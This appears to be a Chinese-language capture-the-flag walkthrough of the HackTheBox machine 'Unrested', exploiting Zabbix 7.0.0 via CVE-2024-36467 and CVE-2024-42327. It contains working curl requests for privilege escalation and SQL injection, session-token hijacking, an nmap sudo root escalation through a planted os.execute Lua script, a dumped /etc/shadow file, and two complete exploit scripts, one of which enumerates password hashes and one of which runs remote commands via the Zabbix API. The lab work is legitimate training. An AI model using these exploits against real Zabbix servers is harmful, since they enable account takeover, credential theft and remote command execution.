Zumpyx Blog

Unrested

Machines#639MediumLinux

Tags: Zabbix、CVE-2024-36467、CVE-2024-42327、SQLi、Nmap

As is common in real life pentests, you will start the Unrested box with credentials for the following 
account on Zabbix: matthew / 96qzn0h2e1k3

Recon & Enum

sudo nmap -p- --min-rate 1000 -T4 -sC -sV -O -v
---
PORT      STATE SERVICE             VERSION
22/tcp    open  ssh                 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp    open  http                Apache httpd 2.4.52 ((Ubuntu))
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
10050/tcp open  tcpwrapped
10051/tcp open  ssl/zabbix-trapper?

HTB 在发布时说明了这是一个 CVE 靶机,主要用于复现 Zabbix 漏洞 CVE-2024-36467 与 CVE-2024-42327 因此不做其他多余的扫描。

Shell as Zabbix

image.png

登录 zabbix,找到当前版本为 7.0.0,Google 搜索到 CVE-2024-36467、CVE-2024-42327,可以根据官方文档请求 API

https://www.zabbix.com/documentation/current/en/manual/api

# 查看版本信息
curl --request POST \
  --url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json-rpc' \
  --data '{"jsonrpc":"2.0","method":"apiinfo.version","params":{},"id":1}'
---
{"jsonrpc":"2.0","result":"7.0.0","id":1}

# 认证获取 Token
curl --request POST \
  --url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json-rpc' \
  --data '{"jsonrpc":"2.0","method":"user.login","params":{"username":"matthew","password":"96qzn0h2e1k3"},"id":1}'
---
{"jsonrpc":"2.0","result":"2662dedb294b9e917fadfc67c0599889","id":1}

curl --request POST \
  --url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
  --header 'Authorization: Bearer 2662dedb294b9e917fadfc67c0599889' \
  --header 'Content-Type: application/json-rpc' \
  --data '{"jsonrpc":"2.0","method":"user.get","params":{"selectRole":["roleid, u.passwd","roleid"],"userids":"1"},"auth": "2662dedb294b9e917fadfc67c0599889","id":1}'
  ---
  {"jsonrpc":"2.0","result":[],"id":1}

这里并没有返回用户名以及密码 Hash,再看一下漏洞介绍,需要默认角色权限,或者能够赋予其他用户 API 访问权限。

![image.png](./assets/0639-unrested/image 1.png)

刚好另一个漏洞 CVE-2024-36467 能够实现此功能,可以把自己加入到管理员用户组

![image.png](./assets/0639-unrested/image 2.png)

尝试一套组合拳,CVE-2024-36467 把当前用户加入到管理员组、CVE-2024-42327 查看用户 Hash

https://www.zabbix.com/documentation/current/en/manual/api/reference/usergroup/get https://www.zabbix.com/documentation/current/en/manual/api/reference/user/checkauthentication https://www.zabbix.com/documentation/current/en/manual/api/reference/user/update

# 认证获取 Token
curl --request POST \
  --url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json-rpc' \
  --data '{"jsonrpc":"2.0","method":"user.login","params":{"username":"matthew","password":"96qzn0h2e1k3"},"id":1}'
---
{"jsonrpc":"2.0","result":"ceec177f2533abdea17f947fa538a02e","id":1}

# 查看已认证用户的 userid
curl --request POST \
  --url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json-rpc' \
  --data '{"jsonrpc":"2.0","method":"user.checkAuthentication","params":{"sessionid":"ceec177f2533abdea17f947fa538a02e"},"id": 1}'
---
{"jsonrpc":"2.0","result":{"userid":"3","username":"matthew","name":"Matthew","surname":"Smith","url":"","autologin":"1","autologout":"0","lang":"en_US","refresh":"30s","theme":"default","attempt_failed":"0","attempt_ip":"","attempt_clock":"0","rows_per_page":"50","timezone":"system","roleid":"1","userdirectoryid":"0","ts_provisioned":"0","debug_mode":0,"deprovisioned":false,"gui_access":0,"mfaid":0,"auth_type":0,"type":1,"userip":"10.10.16.2","sessionid":"ceec177f2533abdea17f947fa538a02e","secret":"3d01d97c6c519cd3cac4e5637752b66c"},"id":1}

# 将当前用户 matthew 添加到 Administrator 组
curl --request POST \
  --url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json-rpc' \
  --data '{"jsonrpc":"2.0","method":"user.update","params":{"userid":"3","usrgrps":[{"usrgrpid":7}]},"auth":"ceec177f2533abdea17f947fa538a02e","id":1}'
---
{"jsonrpc":"2.0","result":{"userids":["3"]},"id":1}

# 测试 CVE-2024-42327
curl --request POST \
  --url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json-rpc' \
  --data '{"jsonrpc":"2.0","method":"user.get","params":{"selectRole":["roleid, u.passwd","roleid"],"userids":"1"},"auth": "ceec177f2533abdea17f947fa538a02e","id":1}' | jq .

![image.png](./assets/0639-unrested/image 3.png)

$2y$10$L8UqvYPqu6d7c8NeChnxWe1.w6ycyBERr8UgeUYh.3AO7ps3zer2a:

是个强密码,没跑出来,不过这个漏洞本身是 SQL 注入漏洞,可以看一下表里有没有其他数据

![image.png](./assets/0639-unrested/image 4.png)

![image.png](./assets/0639-unrested/image 5.png)

有两个表,主要还是看一下 zabbix 表

![image.png](./assets/0639-unrested/image 6.png)

整理一下,有用的大概是 sessions、users,sessions 中会存放 cookie, users 表可以看看还有没有其他用户。

![image.png](./assets/0639-unrested/image 7.png)

可以看到只有三个用户,那么可以把 guest 的密码 Hash 爆破一下,同时也看一下 sessions 表

![image.png](./assets/0639-unrested/image 8.png)

curl --request POST \
  --url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json-rpc' \
  --data '{"jsonrpc":"2.0","method":"user.checkAuthentication","params":{"sessionid":"6e2e3c96474af76fb9abd8c544984fb7 "},"id": 1}'
---
{"jsonrpc":"2.0","result":{"userid":"1","username":"Admin","name":"Zabbix","surname":"Administrator","url":"","autologin":"1","autologout":"0","lang":"en_US","refresh":"30s","theme":"default","attempt_failed":"0","attempt_ip":"","attempt_clock":"0","rows_per_page":"50","timezone":"system","roleid":"3","userdirectoryid":"0","ts_provisioned":"0","debug_mode":0,"deprovisioned":false,"gui_access":"1","mfaid":0,"auth_type":0,"type":3,"userip":"10.10.16.2","sessionid":"6e2e3c96474af76fb9abd8c544984fb7 ","secret":"98047c78487fa73b2f6c481ecf9d9ee3"},"id":1}

https://github.com/Diefunction/ZabbixAPIAbuse

找到了一个利用 Zabbix API Rce 的脚本,主要使用 item 方法实现(官方提供的 script 接口执行不了),这个脚本使用登录来认证,可以修改代码,让 auth 方法直接返回 Admin 的 token

![image.png](./assets/0639-unrested/image 9.png)

Local Enum

zabbix@unrested:/$ sudo -l
sudo -l
Matching Defaults entries for zabbix on unrested:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User zabbix may run the following commands on unrested:
    (ALL : ALL) NOPASSWD: /usr/bin/nmap *

Shell as Root

https://gtfobins.github.io/gtfobins/nmap/

sudo nmap --interactive
nmap> !sh

echo 'os.execute("/bin/bash")' > /tmp/nse_good.lua
sudo nmap --script=/tmp/nse_good.lua

![image.png](./assets/0639-unrested/image 10.png)

两种方法都被 ban 了,那么还有一个 –datadir 参数用于指定数据目录,只需要起一个 nmap 会默认调用的脚本名即可劫持

mv /tmp/nse_good.lua /tmp/nse_main.lua
sudo nmap --datadir /tmp/ -A 127.0.0.1

![image.png](./assets/0639-unrested/image 11.png)

More and More

难点主要在于复现漏洞后如何深入利用获取权限,这里建议看一下这位师傅的手动 RCE 方法。

https://flowerwitch.github.io/2024/12/14/box-wp-Unrested/

Dump Hash

root:$y$j9T$c8kZZUmgmWhR3zrBUruWk.$F60sAZkReUe/ENg78gKNGDZq2hEqQtTa7LMjvP8hjeD:20058:0:99999:7:::
daemon:*:19405:0:99999:7:::
bin:*:19405:0:99999:7:::
sys:*:19405:0:99999:7:::
sync:*:19405:0:99999:7:::
games:*:19405:0:99999:7:::
man:*:19405:0:99999:7:::
lp:*:19405:0:99999:7:::
mail:*:19405:0:99999:7:::
news:*:19405:0:99999:7:::
uucp:*:19405:0:99999:7:::
proxy:*:19405:0:99999:7:::
www-data:*:19405:0:99999:7:::
backup:*:19405:0:99999:7:::
list:*:19405:0:99999:7:::
irc:*:19405:0:99999:7:::
gnats:*:19405:0:99999:7:::
nobody:*:19405:0:99999:7:::
_apt:*:19405:0:99999:7:::
systemd-network:*:19405:0:99999:7:::
systemd-resolve:*:19405:0:99999:7:::
messagebus:*:19405:0:99999:7:::
systemd-timesync:*:19405:0:99999:7:::
pollinate:*:19405:0:99999:7:::
sshd:*:19405:0:99999:7:::
syslog:*:19405:0:99999:7:::
uuidd:*:19405:0:99999:7:::
tcpdump:*:19405:0:99999:7:::
tss:*:19405:0:99999:7:::
landscape:*:19405:0:99999:7:::
fwupd-refresh:*:19405:0:99999:7:::
usbmux:*:19474:0:99999:7:::
lxd:!:19474::::::
zabbix:!:20057:0:99999:7:::
Debian-snmp:!:20057:0:99999:7:::
mysql:!:20057:0:99999:7:::
matthew:$y$j9T$WmZMyb.b4HYA0F5zAK0mo/$pQqQW4/PIuLo05BtRdw3SroRYHire.simH0G7khOOz9:20058:0:99999:7:::
_laurel:!:20059::::::

Exploit

import requests
import argparse

"""
Exploit Script for CVE-2024-42327
Author: Alejandro Ramos (@aramosf)
Assisted by: ChatGPT
Date: 2024-12-01

This script demonstrates the exploitation of the vulnerability CVE-2024-42327, 
registered by Zabbix as ZBX-25623. This vulnerability allows unauthorized 
access to sensitive user information by abusing the JSON-RPC API.

References:
- CVE: CVE-2024-42327
- Zabbix Issue Tracker: https://support.zabbix.com/browse/ZBX-25623

Functionality:
1. Logs in to the Zabbix JSON-RPC API to obtain a session token using a valid username and password.
2. Iterates over a range of user IDs (1 to 40), fetching user details for each ID.

Arguments:
- `-u` or `--url`: The API endpoint URL (e.g., http://192.168.201.128/api_jsonrpc.php).
- `-n` or `--username`: The username for authentication.
- `-p` or `--password`: The password for authentication.

Example:
python script.py -u "http://192.168.201.128/api_jsonrpc.php" -n "aramosf" -p "Hola1234"

Disclaimer:
This script is provided for educational purposes only. Unauthorized exploitation 
of vulnerabilities is illegal and unethical. Use responsibly.
"""

def main(url, username, password):
    # First request: Login to get the session token
    headers = {
        "Content-Type": "application/json-rpc"
    }
    login_data = {
        "jsonrpc": "2.0",
        "method": "user.login",
        "params": {
            "username": username,
            "password": password
        },
        "id": 1
    }

    # Make the POST request for login
    response = requests.post(url, json=login_data, headers=headers)

    # Check if the login was successful
    if response.status_code == 200:
        login_result = response.json()
        auth_token = login_result.get("result")  # Extract the session token

        if auth_token:
            print(f"Valid session token: {auth_token}")

            # Loop over user IDs from 1 to 40
            for userid in range(1, 41):
                user_data = {
                    "jsonrpc": "2.0",
                    "method": "user.get",
                    "params": {
                        "selectRole": ["roleid, u.passwd", "roleid"],
                        "userids": str(userid)  # Convert the user ID to a string
                    },
                    "auth": auth_token,
                    "id": 1
                }

                # Make the POST request for each user ID
                user_response = requests.post(url, json=user_data, headers=headers)

                if user_response.status_code == 200:
                    user_result = user_response.json()

                    # Process the response to extract the desired fields
                    if "result" in user_result and user_result["result"]:
                        for user in user_result["result"]:
                            username = user.get("username", "N/A")
                            name = user.get("name", "N/A")
                            surname = user.get("surname", "N/A")
                            user_id = user.get("userid", "N/A")
                            role_passwd = user.get("role", {}).get("passwd", "N/A")

                            # Print only the requested fields, separated by commas
                            print(f"{username}, {name}, {surname}, {user_id}, {role_passwd}")
                else:
                    print(f"Error in the request for user ID {userid}: {user_response.status_code}")
                    print(user_response.text)
        else:
            print("Unable to retrieve a session token.")
    else:
        print(f"Error in login request: {response.status_code}")
        print(response.text)


if __name__ == "__main__":
    # Parse command-line arguments
    parser = argparse.ArgumentParser(
        description=(
            "Exploit script for CVE-2024-42327 (Zabbix vulnerability ZBX-25623). "
            "Use to fetch user details from a Zabbix JSON-RPC API."
        )
    )
    parser.add_argument("-u", "--url", required=True, help="The API endpoint URL.")
    parser.add_argument("-n", "--username", required=True, help="The username for authentication.")
    parser.add_argument("-p", "--password", required=True, help="The password for authentication.")
    parser.add_argument(
        "--example", action="store_true", help="Show an example usage of the script."
    )

    args = parser.parse_args()

    # Display example usage if --example is passed
    if args.example:
        print(
            "Example:\n"
            "python script.py -u \"http://192.168.201.128/api_jsonrpc.php\" -n \"aramosf\" -p \"Hola1234\""
        )
    else:
        # Run the main function with the provided arguments
        main(args.url, args.username, args.password)
from requests import post, get
from time import sleep
import random
import string

class ZabbixAPIAbuse(object):
    def __init__(self, url, cmd, method = 'action', user = 'Admin', password = 'zabbix', proxies = None):
        self.url = url
        self.cmd = cmd
        self.user = user
        self.password = password
        self.proxies = proxies
        self.delay = 3
        self.method = method
        self.run()

    def randomString(self, length = 8):
        letters = string.ascii_lowercase
        return ''.join(random.choice(letters) for i in range(length))

    def post(self, payload):
        if self.proxies:
            return post(self.url, json = payload, verify = False, proxies = self.proxies)
        else:
            return post(self.url, json = payload, verify = False)

    def get(self, payload):
        if self.proxies:
            return get(self.url, verify = False, proxies = self.proxies)
        else:
            return get(self.url, verify = False)

    def auth(self):
        payload = {
            'jsonrpc': '2.0',
            'method': 'user.login',
            'params': {
                'user': self.user,
                'password': self.password
            },
            'id': 1,
            'auth': None
        }
        response = self.post(payload)
        if 'result' in response.json():
            self.token = response.json()['result']
        else:
            exit('[-] incorrect username or password')

    def getInterfaces(self, hostid):
            payload = {
                'jsonrpc': '2.0',
                'method': 'hostinterface.get',
                'params': {
                    'output': 'extend',
                    'hostids': hostid,
                },
                'auth': self.token,
                'id': 1
            }
            response = self.post(payload)
            try:
                return response.json()['result']
            except:
                print(response.text)
                exit('[-] Something went wrong in getInterfaces method')
    
    def getHosts(self):
        payload = {
            'jsonrpc': '2.0',
            'method': 'host.get',
            'params': {},
            'auth': self.token,
            'id': 1
        }
        response = self.post(payload)
        try:
            self.hosts = []
            for host in response.json()['result']:
                self.hosts.append({'id': host['hostid'], 'hostname': host['host'], 'interfaces': self.getInterfaces(host['hostid'])})
        except:
            print(response.text)
            exit('[-] Something went wrong in getHosts method')

    def itemCreate(self):
        self.items = []
        payload = {
            'jsonrpc': '2.0',
            'method': 'item.create',
            'params': {
                'name': self.randomString(),
                'key_': f'system.run[{ self.cmd }]',
                'delay': self.delay,
                'hostid': self.host['id'],
                'type': 0,
                'value_type': 1,
                'interfaceid': self.interface['interfaceid']
            },
            'auth': self.token,
            'id': 1
        }
        response = self.post(payload)
        try:
            self.items = response.json()['result']['itemids']
        except:
            print(response.text)
            exit('[-] Something went wrong in itemCreate')

    def itemDelete(self):
        payload = {
            'jsonrpc': '2.0',
            'method': 'item.delete',
            'params': self.items,
            'auth': self.token,
            'id': 1
        }
        response = self.post(payload)
        if 'result' in response.json():
            print('[*] Items deleted')
        else:
            print('[-] Something went wrong in itemDelete')
    
    def itemsClear(self):
        payload = {
            'jsonrpc': '2.0',
            'method': 'item.get',
            'params': {
                'output': 'extend',
                'hostids': self.host['id']
            },
            'auth': self.token,
            'id': 1
        }
        response = self.post(payload)
        try:
            result = response.json()['result']
            for item in result:
                payload = {
                    'jsonrpc': '2.0',
                    'method': 'item.delete',
                    'params': [item['itemid']],
                    'auth': self.token,
                    'id': 1
                }
                self.post(payload)
            print('[*] Items cleared')

        except:
            print(response.text)
            exit('[-] Something went wrong in itemsClear')
    

    def triggerCreate(self):
        description = self.randomString()
        payload = {
            'jsonrpc': '2.0',
            'method': 'trigger.create',
            'params': [
                {
                    'description': description,
                    'expression': f'{{{self.host["hostname"]}:system.uptime.last(0)}}>0',
                }
            ],
            "auth": self.token,
            "id": 1
        }
        response = self.post(payload)
        try:
            self.triggers = {'description': description , 'ids': response.json()['result']['triggerids'] }
        except:
            print(response.text)
            exit('[-] Something went wrong in triggerCreate')

    def actionCreate(self):
        self.triggerCreate()
        payload = {
            'jsonrpc': '2.0',
            'method': 'action.create',
            'params': {
                'name': self.randomString(),
                'eventsource': 0,
                'status': 0,
                'esc_period': 60,
                'operations': [
                    {
                        'operationtype': 1,
                        'opcommand': {'type': 0, 'execute_on': 0, 'command': self.cmd},
                        'opcommand_hst': [ {'hostid': self.host['id']} ]
                    }
                ]
            },
            'filter': {
                'evaltype': 0,
                'conditions': [
                    {
                        'conditiontype': 3,
                        'operator': 0,
                        'value': self.triggers['description']
                    },
                    {
                        'conditiontype': 2,
                        'operator': 0,
                        'value': self.triggers['ids'][0]
                    }
                ]
            },
            'auth': self.token,
            'id': 1
        }
        response = self.post(payload)
        try:
            self.actions = response.json()['result']['actionids']
        except:
            print(response.text)
            exit('[-] Something went wrong in actionCreate')

    def actionDelete(self):
        payload = {
            'jsonrpc': '2.0',
            'method': 'action.delete',
            'params': self.actions,
            'auth': self.token,
            'id': 1
        }
        response = self.post(payload)
        if 'result' in response.json():
            print('[*] Actions deleted')
        else:
            print('[-] Something went wrong in deleteItems')

    def triggerDelete(self):
        payload = {
            'jsonrpc': '2.0',
            'method': 'trigger.delete',
            'params': self.triggers['ids'],
            'auth': self.token,
            'id': 1
        }
        response = self.post(payload)
        if 'result' in response.json():
            print('[*] Triggers deleted')
        else:
            print('[-] Something went wrong in triggerDelete')

    def item(self):
        try:
            for i in range(0, len(self.host['interfaces'])):
                print(f'[{i}]: {self.host["interfaces"][i]["ip"]}')
            self.interface = self.host['interfaces'][int(input('Interface num: '))]
            self.itemCreate()
            print('[*] Waiting for execution ...')
            sleep(120)
            print('[*] Execution done')
            self.itemDelete()
        except:
            self.itemDelete()
            exit()

    def action(self):
        try:
            self.actionCreate()
            print('[*] Waiting for execution ...')
            sleep(120)
            self.actionDelete()
            self.triggerDelete()
        except:
            self.actionDelete()
            self.triggerDelete()
            exit()
        
    def run(self):
        self.auth()
        self.getHosts()
        for i in range(0, len(self.hosts)):
            print(f'[{i}]: {self.hosts[i]["hostname"]}')
        self.host = self.hosts[int(input('Host num: '))]
        if self.method == 'action':
            self.action()
        elif self.method == 'item':
            self.item()

if __name__ == '__main__':
    ZabbixAPIAbuse(input('URL: '), input('CMD: '), input('Method [Default: action] (action / item): '), input('Username [Default: Admin]: '), input('Password [Default: zabbix]: '))